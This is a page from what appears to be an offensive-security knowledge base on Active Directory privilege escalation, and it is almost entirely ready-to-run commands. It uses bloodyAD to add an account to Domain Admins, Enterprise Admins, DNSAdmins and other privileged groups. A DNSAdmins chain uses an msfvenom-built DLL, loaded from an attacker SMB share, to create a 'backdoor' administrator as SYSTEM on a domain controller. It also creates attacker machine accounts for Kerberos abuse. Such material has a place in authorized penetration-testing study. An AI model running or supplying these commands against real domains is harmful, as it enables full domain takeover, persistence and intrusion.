Skip to content
HackIndex.io

Group Membership Exploitation

4 min read Created Apr 5, 2026 Last updated Aug 11, 2026

With AddMember, GenericWrite, or GenericAll rights on a privileged group, you can add yourself or a controlled account directly to Domain Admins or other high-value groups. This is the most direct path from a misconfigured ACL to full domain control: one command, immediate impact.

High-value groups to target:

  • Domain Admins: full control over the domain
  • Enterprise Admins: forest-wide administrative access
  • Backup Operators: can read any file and dump SAM/NTDS
  • DNSAdmins: can load arbitrary DLLs as SYSTEM via DNS service
  • Account Operators: can manage most non-admin AD accounts

Confirm the right exists before making any changes. Use ACL Enumeration to identify writable groups first.

Add account to privileged group

┌──(kali㉿kali)-[~]
└─$ # Add to Domain Admins
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Domain Admins" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add to Enterprise Admins (forest-wide admin)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Enterprise Admins" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add to Backup Operators (can read any file, dump SAM/NTDS)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Backup Operators" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add to Account Operators (can manage most AD accounts)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Account Operators" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add to DNSAdmins (can load arbitrary DLL as SYSTEM via DNS service)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "DNSAdmins" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Add to Remote Desktop Users (RDP access to all domain machines)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Remote Desktop Users" $USER

Group membership changes take effect on next logon: your current session token does not update immediately. Start a new session or request a new TGT to get a token with the updated group memberships.

┌──(kali㉿kali)-[~]
└─$ # Verify membership was added
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "Domain Admins" --attr member
 
┌──(kali㉿kali)-[~]
└─$ # Request new TGT to pick up updated group memberships
┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Confirm new rights
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc smb 192.168.1.0/24 -u $USER -p $PASSWORD 
SMB  10.10.10.10  445  DC01  [+] corp.local\jsmith:Password123! (Pwn3d!)

DNSAdmins privilege escalation

Members of DNSAdmins can configure the DNS server to load a plugin DLL. Since the DNS service runs as SYSTEM, loading a malicious DLL gives immediate code execution as SYSTEM on the domain controller.

┌──(kali㉿kali)-[~]
└─$ # Step 1: add account to DNSAdmins (if you have the right)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "DNSAdmins" $USER
 
┌──(kali㉿kali)-[~]
└─$ # Step 2: create malicious DLL (adds user or reverse shell)
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD='net user backdoor Password123! /add && net localgroup administrators backdoor /add' -f dll -o evil.dll
 
┌──(kali㉿kali)-[~]
└─$ # Step 3: host the DLL on SMB share
┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share . -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # Step 4: configure DNS to load the DLL
┌──(kali㉿kali)-[~]
└─$ dnscmd $DC_HOSTNAME /config /serverlevelplugindll \\$LHOST\share\evil.dll
 
┌──(kali㉿kali)-[~]
└─$ # Step 5: restart DNS service to trigger DLL load
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x 'sc stop dns && sc start dns'
 
┌──(kali㉿kali)-[~]
└─$ # Step 6: cleanup after exploitation
┌──(kali㉿kali)-[~]
└─$ dnscmd $DC_HOSTNAME /config /serverlevelplugindll ''

Machine account creation

When Machine Account Quota is above 0 (default is 10), any domain user can create computer accounts. Machine accounts are useful as controlled principals for RBCD, Kerberos abuse, and as clean identities that blend in with legitimate computer objects.

┌──(kali㉿kali)-[~]
└─$ # Check MAQ first
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --attr ms-DS-MachineAccountQuota
 
┌──(kali㉿kali)-[~]
└─$ # Create machine account with known password
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add computer ATTACKPC$ 'MachinePassword123!'
 
┌──(kali㉿kali)-[~]
└─$ # Verify creation
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --users | grep ATTACKPC
 
┌──(kali㉿kali)-[~]
└─$ # Use machine account for Kerberos operations
┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/'ATTACKPC$':'MachinePassword123!' -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=ATTACKPC$.ccache
 
┌──(kali㉿kali)-[~]
└─$ # Cleanup: remove machine account after use
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove computer ATTACKPC$

A newly created machine account has no special rights on its own. Its value comes from combining it with RBCD setup (see ACL Abuse Privilege Escalation) or NTLM relay (see LDAP Relay and Signing Abuse).

References